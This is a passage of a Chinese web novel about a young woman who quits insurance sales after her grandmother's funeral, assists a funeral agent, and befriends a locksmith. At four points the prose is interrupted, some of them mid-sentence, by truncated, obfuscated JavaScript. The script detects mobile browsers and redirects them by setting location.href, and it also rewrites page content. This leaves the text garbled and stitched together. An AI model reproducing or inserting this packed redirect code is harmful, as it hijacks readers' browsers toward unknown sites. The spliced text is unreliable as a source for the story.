《沿着废弃铁轨追逐日落》 1. 女风水师 无论天气多么晴朗,一走进墓园的大门,周围立刻变得阴冷起来。几座小办公楼投下的阴影就像一片湿润的玻璃罩,将明亮的阳光隔绝在外。 孟至坐在墓园的凉亭里,看着眼前来往的人群。亭外绿树环绕,色调苍翠浓郁,十分森然。几只仙鹤雕塑单腿立在草丛中,象征着逝者驾鹤西去,已登极乐,在她看来这雕塑款式比较一般,不太庄重。 姥姥的葬礼已经结束。一位丧葬师傅带着他们从头到尾跑流程,此刻他正忙着从斜挎兜里掏出一瓶白酒,倒在每个人的手上,大家胡乱搓了一把。接着是分饼干,每人一片太平牌苏打饼。最后,孟至被分配了一根布条,在师傅的指点下挂到树枝上,一切都结束了。 孟至对这位中年矮胖男子说:“谢谢了,大哥,要是没你帮着跑,我们自己都蒙了。” 在生命的最后几年里,孟至的姥姥住在本地一家大型养老产业园区,一室户套间,设施相当完善。园区自带医院,老人后期一直病重住院,直到某日凌晨两点,医护人员发现老人过世。这位丧葬师傅,就是养老院那边协助联系的。 师傅夜里出车抵达现场,前来拯救茫然无措的家属。开具死亡证明,换衣净容,起灵装车,运至墓园,办理冷藏手续,开光祝祷,到今天出殡,每个环节都由他一手帮办。 此刻收到孟至的致谢,那师傅摆着手,庄严地说:“这就是我们丧葬工作者的职责。”说完,还微微闭眼点头。 在他身后,孟至的二姨姥在追忆往昔峥嵘岁月,又强烈暗示孟至的母亲忙于工作,没有亲手照料老人。 刘校长升为重点中学的一把手以后,日程排得密不透风,今天出席告别仪式时,手机还不停地响铃。她费了半天口舌,跟自己二姨解释,语调激昂,如同对全校职工训话。但双方鸡同鸭讲,局势十分焦灼,本就焦头烂额的刘校长益发力不从心。 丧葬师傅适时地过来对刘校长说:“大姐,你该忙啥忙啥。”他又看了看孟至身后的朴素沉默大爷,用一种温柔而深沉的语气说:“这位是大姐的司机吧?快送大姐回单位去吧。” 朴素大爷搓着手,谦卑地说:“也不全是,我是她爱人,孩子她爸。” “……”师傅立刻改口,“大姐夫啊。” 老孟虚扶着刘校长的手臂走远了,人群也鸡飞狗跳地散去。办妥所有事宜后,孟至又在墓园坐了一会儿。 八月中旬,立秋已过,黑土地进入秋天,夜里要盖棉被睡觉,和南方截然不同。几天前,她还在珠三角扮演职场精英形象,接到家里的电话后,当天飞回老家,一身标签好像都留在了云层中。她的名字是姥姥起的,取的是“一梦至长安”的寓意,又象征着虽远必至,意蕴无穷。 如今祖父母辈四个老人都不在了。孟至想起小时候姥爷对她说,如果老一辈全都去世了,父母头顶上就没人了,就像一棵白菜,外面的老白菜帮剥落,露出里面的芯。 她突然感到心惊胆战。接着她掏出手机,向团队长发出通知,宣布自己要辞职回到C市,之后会回去办妥手续。 孟至在珠三角念的大学,毕业后进了当地一家外资寿险,干了几年保险销售。起初她拿着团队分给她的孤儿单,后来出入各种沙龙活动招揽新客。每逢校友会举办活动,孟至也会翩然而至,挨个添加微信。她像开疆拓土一样扩建着统治区,她的保单越卖越多。 她有一头茂密的长发,染成深酒红色,烫过之后反复修剪了几次,波浪卷弧度自然,非常舒展。每次她去总部职场时,总会到工区转一圈,带着懒洋洋的迷人微笑,跟内勤同事闲聊几句,这一头红色卷发是她的经典标志,离很远就能看到。 大家看见远处漂浮着一头红发时,不但不会吓得逃跑,反而喜欢凑过来聊天。孟至虽然做销售,但从不主动催同事买保险。别人向她咨询,她就用大白话如实解释合同条款和利益演示,别人不问,她也不会拐弯抹角地提。有时听说谁有麻烦事,她还会顺手帮点小忙。 另一个销售也偶尔去内勤区晃悠,这人作风奔放,过于热情,有时人家还在开会,她就把人抓走了,说要给人介绍对象,把周围一圈人看得眼睛都直了。孟至此后更加注重分寸,以文火慢炖的形式吸引潜在客户。 现在将要回到老家谋生,个险代理人不能异地展业,从前的客户资源都留在了珠三角。然而,从十八岁离家到现在,老家竟已没有任何朋友,更没有熟悉的校友圈子。想到一切要从头再来,或许还要依靠家里的人脉,孟至忽然心灰意冷,浑身的力气都被抽走了。 她极目远眺,突然一筹莫展。回到老家似乎是一场放逐与流浪,她无法对老家的生活提起任何兴致。她需要尽快找一份临时工作,还需要重新认识这个城市。 左看右看,孟至看中了丧葬师傅的背影。她听见自己的心在说:管他呢,瞎搞吧。 她走上前去,拍了拍师傅的肩膀:“哥,我想打听一下,你还招助理不?” 这大哥往后一仰:“我这就是个体户,要啥助理?再说我有个合伙人,就是开车运送遗体的那个司机,他是我小舅子。” 孟至继续说:“我看你忙起来要同时跑好几家的手续,不知缺不缺帮手?要不我来你这儿实习吧。” 师傅迷惑地挠着后脑勺,仔细看了一眼孟至:“你这丫头,长得还挺俊,愿意在火葬场里跑?” 孟至动之以理:“师傅,你要是哪天忙不过来,可以叫我跑腿,平时我不来。我直接挂个咸鱼链接,咱们按次下单。” 师傅显然被这种互不捆绑的合作模式打动了,他今天跑得晕头转向,差点把一家的骨灰交给另一家,几乎令两家认错祖宗。他沉吟片刻,说:“去养老院拉逝者,这活得24小时待命,还是我跟我小舅子来吧。” 孟至心中一清二楚,这是怕她跟养老院联系密切,将来私自截取客源。于是她主动避嫌:“没问题,还有墓园这边的火化申请,可能也得你们去对接,我谁都不认识呀。” 果然,师傅痛快答应了:“嗯呐嗯呐。” 约定初步达成,师傅告诉孟至,她的作业范围就在墓园里,此岗位是纯白班,和事业单位一个作息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419247|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老孟的电话打了进来,问孟至今天几点回家。他在电话里唠唠叨叨地说:“我一会儿开始做饭,你妈得今晚八点半能到家。”那语气就像是女霸总的小娇夫。 孟至想自己静一会儿,就说:“爸,我还是回我自己的公寓住吧。再说我约了换锁师傅,今天下午过来安电子锁。” 老孟似乎欲言又止:“那你回吧。” 孟至搭乘地铁,换两趟线,共计十几站后下车。她走过一片绿树花园,回到自己那套小公寓,一进门差点晕厥,这才明白老孟为何方才语气犹疑。 只见客厅里异彩纷呈,一个硕大的皇冠型长条靠枕横亘在地上,色彩粉嫩,占据了快一面墙的长度。靠枕下面铺着一张阿拉伯还是波斯风格的地毯,红色暗花,图腾复杂,款式老旧。该组合十分另类,土不土洋不洋,就像一铺大炕。 孟至又进卧室看了一眼,里面摆着木头柜子和桌子,都是当年请木匠手打的,个个豁牙漏齿,年纪比孟至还大。她头疼地抽了一口气,知道这又是刘校长的杰作,把她的公寓当成怀旧仓库了。那些歪瓜裂枣的家具让她想起老一辈。尘埃落定,葬礼的阴森气息环绕上来,孟至蹲在地上掉了几滴眼泪。 正当她哭得投入时,手机突然进了一条短信,说换锁的方师傅正在来的路上,请客户注意接听电话。接着果然电话来了。 留在老家的年轻人已经不多,孟至幻想出一个精神矍铄的开锁大爷的形象,类似小区里修房顶的物业师傅。孟至摁下接听键,深呼吸两次,猛然开嗓,声音稳健而充满敬意:“喂,师傅,我现在就下来接您。” 想不到电话那头的声音十分年轻:“你好,我开进小区了,正在跟着导航找你的楼,是十栋吧?” 孟至听着耳边低沉温柔的声音,心想这换锁师傅的声音还挺嫩,不知干活手艺行不行?她从地上爬起来,对着电话大声说:“没事师傅,小区车道是单行的,我下来迎迎你。” 那边却说:“没事,你不用下来接我了,我们加个微信,我开摄像头照一下路线,你看看对不对。”听那意思是非常贴心,不让客户受累下楼。 孟至没再坚持,一键通过好友申请。视频连线后,孟至的镜头对着地板。那边打开后置摄像头,一辆车的中控台出现在画面中。接着镜头上移,照着车前的路,两边的楼看起来大同小异。孟至辨认了一会儿,尴尬地说:“不好意思,太久没回家,认不出这是哪段路了。” “没事,那咱们开一下实时位置共享就行了。” 共享定位后,仍旧不见师傅上楼,孟至只能出门迎接。她对着穿衣镜拢了一把头发,镜子里倒映出一个高挑的身影,红眼睛,红鼻头,与红色长发相映成趣。但那张脸看起来面容姣好,就像不小心安在了一身葬礼服饰上。 她把手臂上的孝子袖章摘下来,往鞋柜上一扔,无精打采地拉开门。 门外立着一个庞然大物,挡住了她的视线。那东西投下来的阴影,把她整个覆盖了。她疑惑地抬起头,发现眼前站着一个异常俊美的年轻男孩,正低头看向她。 2. 换锁的他 有那么一秒钟,孟至好像被眼前的美丽画面吸引,暂时忘记了世事烦恼。她斜倚在门边,露出懒洋洋的微笑:“小方师傅,你好。”她觉得这位开锁老师如果是技校毕业直接上岗,应该比她年纪小。 方师傅的目光在她脸上停留了片刻,又不动声色地掠过她撩头发的手,然后微微一点头:“你好。” 考虑到自己刚才把他当成耳背的开锁大爷,在电话里大呼小叫,孟至主动解释道:“方师傅,我这里刚才信号不好。” “恩。”他抿嘴一笑,卸下肩头的工具箱,放在走廊地面上。孟至这才发现他穿着一身深蓝色工装制服,夹克上好几个兜,裤子上也好几个兜,衣服和裤腿都蹭了点灰。 整套衣服风格粗犷,穿在他身上却非常板正,尽显宽肩窄腰、笔直长腿。孟至低头去看工具箱,又留意到他穿着白晃晃的鞋,刷得比墙壁还干净。 趁着他排布工具的空档,孟至说:“方师傅,你稍等,我去给你拿瓶水。”说着噔噔噔跑进厨房。她暗中分析此人的外形和气质,特意拿了一瓶甜美草莓味牛奶递给他。 方师傅嘴角微微浮动了一下,接过来说:“谢谢,我就喜欢这个。” 孟至爽快地说:“别客气。” 两人面面相觑地站着,一时间空气陷入寂静。方师傅出声提示道:“你订的锁呢?” 孟至噢了一声,这才知道那锁体已经由快递师傅送上门了,不是由这位方师傅带过来。她一步跨出门去,猫腰在门外小柜里翻找着:“这柜子是平时用来放快递的……哎,怎么积压了这么多包裹?这怎么还有一筐鸡蛋?” 像刨坑一样刨了一会儿,总算找到了智能锁的包裹。方师傅三下两下拆开纸盒,拿新锁在门板上比量着,低声问道:“你不常在家?” 孟至说:“以前在外地,现在回老家发展了。” 方师傅开始操作电钻。滋滋几声,旧锁的螺丝都被拆除。他换上电锯,犹豫了一下,用很轻的声音问道:“那你是做什么的?” 他没有看向孟至,似乎为自己的提问感到唐突,又似乎担心孟至说自己是电影明星或者女企业家,日薪是开锁的数倍。 孟至斟酌着说:“我以前是做寿险的。”现在是做阴阳法事的。 方师傅不再接话,开始摆弄电锯。 孟至以前从来不知道换锁还要用电锯。她等着观看方师傅的操作手法,顺便又看了几眼他的俊脸。脸面窄长,棱角分明,从各个角度看都十分精致。 方师傅举起电锯,看孟至一眨不眨地盯着它看,就说:“这个会有火星,一会儿你别害怕。” 说着他一摁开关,开始切割门板侧面的机关。看来是防盗门款式老旧,必须重新打造那些孔隙,使之适合新的锁体。橘红色火星四射,就像一场小型烟花秀。 孟至好奇地问:“你不戴面罩和手套吗?万一火星子崩到眼睛或者皮肤上呢?” “我嫌麻烦,一般不戴。”方师傅举了一下电锯,“电影里的杀人狂,一般就是用这个犯罪的。” 孟至哼哼一笑。 锯了半天,他忽然眨了一下长睫毛,自言自语道:“哎,好像真的掉到眼睛里了,让你说中了。我平时很少被火花烫到的。” 听他的口吻,好像是孟至让火星跳进他眼睛里的。但孟至还是凑过来看了一眼:“严不严重啊?” 近距离一看,方师傅眉骨凸出,两眼深邃,双眼皮如同上扬的波纹。看得她有感而发:“你眼睛真好看,可别烫坏了。” 方师傅看起来完全不知道怎么接话,于是手上加快速度。孟至看他半跪了半天,就说:“要不要拿个小板凳给你?” 他抬头看了一眼孟至,似乎在淡淡地笑着。接着他低头看着电锯,一扬眉说:“不要。” 这个清冷的年轻人笑起来时,就像雨季突然放晴,尽管他浅淡的笑意转瞬即逝。孟至看着他,脑海中很想搜寻出云销雨霁、彩彻区明之类的古文,可惜自己是理科出身,未能成句。 方师傅站起身来,把新锁体嵌到门上。然后他一手扶锁,一手举起电钻,把螺丝一个一个打上去。打到某一处,螺丝突然受阻,只能重新加工锁洞。 他对孟至淡淡地一笑:“我已经在你这里停留了太久。” 不等孟至答话,方师傅启动电钻,怼住那颗难搞的螺丝,猛地把整个身体的力量压上去,手指关节泛出白色。他的袖子卷上去半截,露出来一段手臂,青筋暴突,肌肉隆起。 孟至看着他瘦长的身体,宽松的工装下面,隐约能看出身板的厚实程度。她暗自赞叹这钻头真结实,能承受住这一尊体格的施压? 接着他抬起头,一脸无辜地说:“工具,好像坏了。” “……”孟至走过去看着那把电钻,“能修好吗?”她没好意思直接问,那我家这把锁安完了没有? 他翻来覆去看着电钻,搓了两把,说:“还好,你家的锁已经安完了。” 孟至放心地说:“好嘞。” 她以为方师傅该收拾工具,打道回府。想不到他就站在孟至家门口,不慌不忙地修起电钻来。孟至这才意识到自己反应冷漠,于是关怀备至地看着那把电钻,使自己参与其中。 方师傅蹲了下来,把地板当成工作台,继续手搓电钻。孟至蹲在他旁边,双手捧脸做花朵状,半真半假地说:“光按摩可不行啊。” 方师傅的耳朵有点发红。他掏出手机,拨打视频电话:“跟老师傅讨教一下。” 视频接通,他用后置摄像头拍摄钻头,对面的老师傅不停指点,让他拧松钻头,再摁开关,让它转起来试试。 按照老师傅的办法,方师傅又拧又转,又拆又卸。孟至一边充当人肉支架,一边分心去看方师傅的手,那手十分修长,骨节分明。于是她神不知鬼不觉地在视频中截图,接着才想起来这不是自己的手机,只好假装无事发生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419248|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最后方师傅宣布放弃:“算了,我去小区物业借个工具,先把下午另一家的活做完。” 孟至把手机还给他,像地陪一样招呼道:“走,我陪你去物业。” 他忧郁地拎着电钻,被动地说:“会不会太麻烦你?我自己去也没事的。”孟至刚想说别客气,突然隐约听见自己的手机响了。 于是她脆生生地说:“好,那我就不陪你啦。” 方师傅好像噎了一下,眨了一下眼睛才说:“恩,好的。” 孟至把他送到电梯,他在楼道里还在给同事打电话:“姐,那个零件再给我发几件,我手里备着,来需求了就能直接安了……”听起来对工作相当有规划。 孟至对他展颜一笑,意思是小伙子办事很有谱,果然各行各业的人,都有能力高低之区分。 电梯门关上之前,她发现方师傅凝视着她的笑脸,目光极具穿透力。但她顾不得那么多了,她飞奔回屋里,接起那个响了两遍的电话。原来是团队长打来的,问她是不是真要辞职。 刚挂断电话,手机又响了起来。这次是发小打来的视频电话。孟至松了一口气,盘腿坐在盗版波斯地毯上,背靠巨型皇冠。 屏幕上出现一张英气勃勃的女性面孔,正忧心忡忡地看着她。孟至先开口了:“没什么事,该办的都办完了。” 发小在国外居住多年,妆造越来越向ABC靠拢,日常昵称也改为乔姆斯基,简称斯基。斯基没再提孟至姥姥的事,转而面向未来:“你跟你领导说了要辞职了?真不回南方了?” “不回了。”孟至摇摇头说,“再说近半年本来也不好做,现在监管要求寿险公司报行合一,上报的费用和执行的费用要一致,所以给我们的佣金率下降了。” “行啊,接下来准备干啥?” 孟至向她宣布:“我当上风水师了。” “?” 她解释道:“丧葬一条龙服务,为万千家庭提供援助和依靠。但我觉得风水师听起来更厉害。” “明白了,就是跑火葬场。”斯基点头表示赞成,“你可以干这个,你胆大……” “先临时干着,主要是不想托家里的关系卖保险。” “那当然了,欠人情最难还。”斯基分析道,“你要是在老家卖保险,一开始肯定靠刘校的人脉。再说欠了人情,就可能被人拿捏。” 孟至点头称是,出神地想了一会儿。她已经开始怀念自己叱咤一时的寿险顾问形象。 放下电话后,孟至无所事事。站在十五楼的窗前向下看,城市像一片微观模型。与十几年前相比,无论是近处的楼房,还是远处的街道,都没有任何变化。这里的发展停滞不前,城市似乎陷入沉睡。 接着她振作起来,觉得要尽快结识新的朋友。她想到了刚才的方师傅,尽管两人背景不同,但他注重个人卫生,性格软糯,会修锁,会玩电钻,似乎是日后一个不错的朋友人选。 3. 法师见习生 孟至头戴一顶黑色渔夫帽,红发在后脖颈盘成一个发髻,藏在帽檐下面。她大步穿过半个墓园,拐进九曲长廊,一路走到凉亭。丧葬师傅从柱子后面冒出来,看了一眼手表,冲她点点头:“到时候了。” 师傅打头,孟至殿后,两人往一座小楼走去。孟至边走边征求意见:“我是管你叫师父还是潘哥?”师傅略加思索,说:“青龙师兄。” “行,青龙师兄,”孟至爽快地说,“你小舅子是白虎师兄?”问完才想起来,本地顺口溜说左青龙,右白虎,中间夹个二百五。她成二百五了? 青龙师兄说:“我平时的爱好是研究道教,我们都有法号。” 孟至客气地说:“挺好的,做白事行业,有个法号听着让人信服。” 走进小楼,走廊里一片冷色调,孟至觉得浑身直冒凉风。青龙师兄径直走向一间屋子,轻轻敲门,推门而入,里面是几个家属。中央一口棺材,周围装点得花团锦簇。 青龙师兄先走到棺材边,欠身看着里面的逝者,端详半天,长叹一口气,闭眼反复摇头,尽显惋惜之情,就好像他认识人家一样。然后他直起腰来,沉痛地对家属说:“准备开光吧,一会儿你们跟着我念,我说一句你说一句。” 孟至站在他身后半步远的位置,保持着肃穆的神色。 棺材被抬到地上,青龙师兄示意这户人家的长女跪在棺材旁,自己也跪在她旁边,用一支笔点着逝者身上的各处,同时飞速念道: 开眼光,亮堂堂,穿云破雾望四方。 开鼻光,闻妙香,仙果琼浆任意尝。 开耳光,听八方,仙乐佛音耳边扬。 开嘴光,吃四方,山珍海味肚里装。 …… 他的声音没有抑扬顿挫,更无音调婉转起伏,好像在低声交待家里人买菜做饭。这家的长女晕头转向地跟着念,偶尔没听清,就问:“啊?”然后青龙师兄会重复一遍。 孟至出神地看着,她想起姥姥出殡那天也是这样开光的,一套流程下来让人眼花缭乱,应接不暇,暂时忘记了悲痛。 而当年孟至的姥爷去世时,没有找白事先生操办,是墓园的工作人员领着刘校念的这套词。当时那小姑娘穿着殡仪馆制服,迅速地开完这份光,又奔赴下一处,在阴森的氛围中穿梭自如,仿佛死与生已经泯灭了界限,不过是一回事而已。 由于家属不举办告别仪式,青龙师兄直接去递交了火化申请。这类白事先生的实质是中介,跟窗口的工作人员都认识,墓园会给青龙预留空档,使得他客户的排队时间低于平均水平。 孟至留在家属中间,低声对那家的长女说:“节哀。后续还有些手续,现在先休息一下吧。”长女无力地坐了下来,其余几个子女在尖锐地争吵。孟至先往他们手上倒白酒,再用苏打饼干占据他们的口腔,争吵声终于暂时平息。 过了正午,墓园的人群逐渐稀疏起来。家属还在等待着骨灰出炉,青龙师兄叫孟至先回去,他本人会留下来收尾。 末了,他向孟至伸出右手,郑重地说:“恭喜试用期通过了。” 孟至跟他握了握手,觉得自己当年卖出去一份保险都没有这么隆重,何况今天这试用期还是不给钱的。 走出墓园,街上烟雾弥漫。附近小胡同里都是烧纸的地方,路边是一家挨一家的香火店,门口放着金车银马的样品,在阳光下栩栩如生。 孟至一直走出这片街区,才摘下渔夫帽,浑身上下拍了一遍灰。然后她从裤兜里掏出墨镜带上,一甩头发,坐地铁往市区里去了。 据说有些人内心敏感,每次一去阴冷的墓园,回来必定会头疼脑热。孟至在墓园呆了大半天,甚至还超度了亡灵,却依然精神状态良好。 列车在地下疾驰,窗外广告牌飞速后退,形成科幻般的光束。她看到玻璃上自己的倒影,骨架匀称,个高腿长,穿着灰色长袖和黑色长裤,速干面料,款式修身。夸张的墨镜和口罩,完全覆盖了她的面孔,使她看上去神秘而显眼。 下了地铁,孟至站在路边看了半天。天高云淡,阳光照耀着各大连锁奶茶店、咖啡店、冷饮店。最后她晃进一家不起眼的小门脸。门上挂着褪色的牌子,上书:部落格。 柜台后面摆着几个瓶瓶罐罐,色彩各异。孟至说要香芋味的,老板娘就打开紫色玻璃罐冲了一杯,还免费赠送五个珍珠。 塑封的透明塑料杯里装着浅紫色饮料,五个黑珍珠沉在杯底。孟至插上吸管,猛喝一口,发出一声满足的叹息。如今卫生知识普及,她知道这种奶茶不健康,只允许自己每个月喝一次,有时候月底31号喝一次,次日1号喝一次,严格遵守原则。 以前上学时,孟至经常请朋友去学校后街,喝这种老式速溶奶茶。结果凡是喝过她奶茶的人,后来基本都去外地工作了,或者像斯基一样远赴重洋,攻读博士学位。她的茶仿佛有魔咒,能为世界各地输送人才。 接着她突然想起开锁的方师傅。昨天方师傅走后,她本来想问问他借到工具没有,结果后来忙着把公寓收拾得能住人,一下给忙忘了。 她点开方师傅的聊天框,才发现他的名字叫方铭,头像是黑白漫画。她嗖嗖发出去一条:“你后来跟物业借到工具了吗?” 想不到方铭立刻就回复道:“没有借到,后来先回公司换了一把电钻,才去的下一家。” 孟至问:“物业没借给你吗?” 那边一五一十地回答:“可能因为他们不认识我。其实事情很简单,他们只要借我一把电钻,或者借我一套修电钻的工具就可以了。” 孟至替他打抱不平:“真是的,借一下都不行啊。” 方铭隐忍地说:“没关系,或许他们有规定,不能随便借陌生人工具。”孟至几乎能想象到他忧郁而凛冽的眼睛里,有前苏联的雪花缓缓飘落。 她又问:“那你去下一户没迟到吧!” “还好,我每次约时间都会多留一点空档,作为缓冲。”方师傅回答得特别认真,就像孟至在面试他。 孟至发了个动画表情,作为对话的结尾。接着老孟的电话打了进来,他让孟至今晚回去吃饭,还说孟至姥姥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419249|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚走,她怎么也应该陪陪刘校。 带着凝重的心情,孟至登上一辆开往父母家的公交车。这老车有些年头了,还开得很猛,一路飞驰,东倒西歪,叮咣作响,车身几乎都要散架了。 等到下了车,孟至已经彻底晕车,无精打采地进了家门。 刘校长今天回来得早,正在对新近实行的体育考试制度发表意见。老孟把菜一盘一盘端到桌子上,然后施施然落座,还穿着碎花围裙。刘校长宣布开饭,一家人默默端碗,各自舀自己爱吃的菜。 孟至随口说了一句:“现在体育也算成绩啊?幸亏我生得早,我一个俯卧撑都做不了。” 刘校长说:“我能。”说着就突然放下筷子,起身到旁边空地上,做了几个标准俯卧撑,全情投入,旁若无人。 等她回到餐桌,好像突然注意到孟至的存在,于是像领导一样发问:“你这几天干什么了?” 干什么了?刚从火葬场回来,当阴阳先生去了。这当然不能说,孟至只能含糊地回答:“跟个朋友一起在外面跑业务,看看能不能做点兼职。” 刘校长面色严肃,追问道:“什么业务?” 孟至想了一下,说:“长者服务。”逝者为大,所以不管多大岁数都是长者,也没说错吧? 刘校长皱起眉毛,但也没再过问,可能以为孟至在做轮椅、拐棍、老年健步鞋之类的。老孟面向刘校长,语气诚恳,音调婉转:“孩子不想靠着家里的关系,你就让她自己干去吧,有谱了自然就跟咱们说了。” 孟至说:“对,我现在还在这个……初创阶段。” 刘校长喝完一碗汤,往后一靠,疲惫地长叹一声。孟至立刻后背起了一层鸡皮疙瘩,这声叹息一般代表着批斗大会的启动。 果然,刘校长开始讲述孟至的姥姥姥爷当年多么不负责任,说他们忙着互相打架,自己只能去邻居家吃百家饭、睡百家床,以及其余一百件不堪的辛酸往事。最后再用一句话收尾:“你姥姥姥爷该照顾我的时候、该教育我的时候,是一点都没伸手!后来你姥姥进养老院,你二姨姥还嫌我不常去看她,你说我会想去看吗?” 像往常一样,她把女儿当成唯一的听众。 老孟插嘴说:“先别说了,让孩子吃饭吧。” 孟至已经完全没有胃口了。这时老孟说,听说参加完葬礼要刷车,要不然不吉利。孟至就立刻跟着他出去刷车了。 夕阳将要落下时,他们找到一家洗车店。陈旧的马路上,偶尔有车辆开过,带起一阵尘土。一个老迈大爷慢慢地洗车,收费六十元,洗得十分细致负责。 孟至和老孟坐在旁边看着,两人都一脸苍凉。姥姥的丧事办完了,白色的气息却久久没有散去。天大地大,孟至深感孤独。她不知道自己应该去哪里,正如她不知道下一步该做什么工作。她觉得风水师似乎不是长久之计,她需要思考未来,但又觉得这事不是很急。 直到晚上回到小公寓里,她才发现后来方铭还回复了一句。他针对孟至发的那个表情包,默默地说:“你的表情都很有意思。” 4. 再见老家具 孟至随手回了一句哈哈哈,把手机抛到床上就去洗澡了。浴室里摆了一排彩色鸭子,这是斯基利用3D打印技术制作的一批洗澡鸭,其材质能随温度变色。 上次过年回国时,斯基打印了20只鸭子,企图挂在咸鱼上贩卖,却一只都没有卖出去,只好全都送给孟至。由于太过于寂寞,孟至近期已经开始对着这些鸭子说话。 在清脆的水声里,她向鸭子透露了自己的三个心愿。她希望自己能看清未来,但如果这个愿望太过于宏大,那么还有两个附属愿望:在老家找到一个边走边聊的朋友,在老家找到一个可以漫游的地方。 待到吹干头发、回到卧室,已经是深夜了。孟至看着那些四十年老家具,突然心生一计:能不能求方师傅把这些桌子柜子清运出去?不知他接不接私活? 于是她划开手机,惊奇地发现方师傅就连那句哈哈哈也回复:“我就没什么好玩的表情,从来没人给我发过。” 孟至直奔主题:“对了方师傅,你会拆家具吗?我这里有些老家具,想请人帮忙拆开扔出去,工费和运费我来出。” 方铭说:“我就喜欢研究老家具,是什么样的,方便拍张照片吗?” 孟至怕那些老家具给人的冲击太大,先到厅里拍了一张皇冠靠枕和盗版飞毯:“先给你热热身,做好心理准备。” 方铭真诚地说:“不过从你这照片里,看不出你家有家具啊。”照片里只有一铺皇冠地毯,四周墙壁都是秃的,像光板一样,真正的家徒四壁。 孟至面部肌肉抽搐,又拍了卧室里的写字台:“看吧,这个桌子好像是榫卯结构的,不是螺丝的,你会拆吗?” 方铭啧啧称奇:“这桌子,有年头了,你这敢趴在上面用力写字吗?” 孟至笑微微地回了一句:“我家的笔挺好使的,不用力也能写出字,可不像你那天打电钻。” 那边发了个苦笑的表情:“干过头了。” 最后是一张破烂书柜和五斗橱的合影。孟至总结道:“还有这两个,一共三件。” 方铭说:“应该可以拆的。”隔了几秒钟,他又补充一句:“其实整个抬下去也可以的,扔到小区里堆放建筑垃圾的地方,由专门的机构来清运。找个男生帮你抬就好了。” 孟至遗憾地说:“可惜找不到人。” “这样啊,一个男生都找不到吗?” “你来了就有一个了。”孟至想起了斯基,如果她回来,两人用些野路子,或许能把这堆东西弄出去。 那边立刻说:“你哪天有空?我过来。” 想到即将要摆脱这些老家具,换上ins博主最爱的奶油风桌椅木柜,孟至在回老家之后第一次感受到久违的期待。 考虑到自己刚通过摆渡人团队的试用期,她先看了一眼日历。本地习俗是七不埋,八不葬,逢七逢八的日子不出殡,白事业务相对不太繁忙。凡是初七、十七、二十七,初八、十八、二十八,青龙师兄的团队能休息半天。 孟至问他:“农历七月十八那天你有空吗?” “可以的,按照你的时间来。” “行,就这么定了。”她以收束式的回答结束了话题,“事成之后姐有重谢。” 方铭疑惑地问:“你很喜欢当姐姐吗?” 孟至心想,那还不是因为你太小了? 想不到那边又追加一句:“好的,姐姐。” 放下手机以后,孟至摸黑静静躺着,听着窗外知了的叫声。两片淡绿色窗帘还没有合拢,夜空仿佛在俯视这间屋子。她发现月亮的位置每天都在改变。 前两天到了午夜,月亮刚走到东边,现在同样是午夜时分,月亮却接近正中。孟至想了半天,也想不出月亮和地球的方位关系,也许是这栋楼转了个身。 她想起四五岁的时候,夏季有一天夜里,她跟着大人出门,在路边摘了几朵夜来香,回来供在床头。当时屋里没有开灯,她看见窗外的月亮照着大地。大人们都在隔壁房间,他们欢声笑语。现在回想起来,似乎还能听见黑暗中隔壁的谈笑声,那种心情十分安宁。 连孟至自己都没有意识到,回老家后,没有热闹的同业聚会,没有熟悉得如同手足的朋友,没有新奇而小资的浪游去处,她此刻其实孤独寂寞。 接下来几天,孟至每天白天回父母家里收拾姥姥的遗物。青龙师兄叫她去帮忙,她就戴上帽子跑一趟。大多数时候,孟至独自坐在一堆旧物中间,就像路边无人问津的旧货摊主。 阳台角落里扔着一堆破铜烂铁,一开始孟至以为那又是刘校长珍藏的废品。后来她才意识到那是她给姥姥订的特质轮椅,可惜没等组装好,孟至姥姥就病逝了。 这种轮椅结构比较复杂,座位前面安有压力泵,可将瘫痪病人转移到轮椅上,离远看竟然有点像动感单车。当时孟至担心护理员抱不动姥姥,久而久之就不愿意带老太太去厕所,特意订了这种轮椅,最后却一次都没有用上。她把那堆部件装进一个大编织袋里,准备改天运出去送人。 她还找出十几本影集,里面都是老照片,画面从黑白到彩色,人脸也从年轻到年老。老孟把影集拿走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 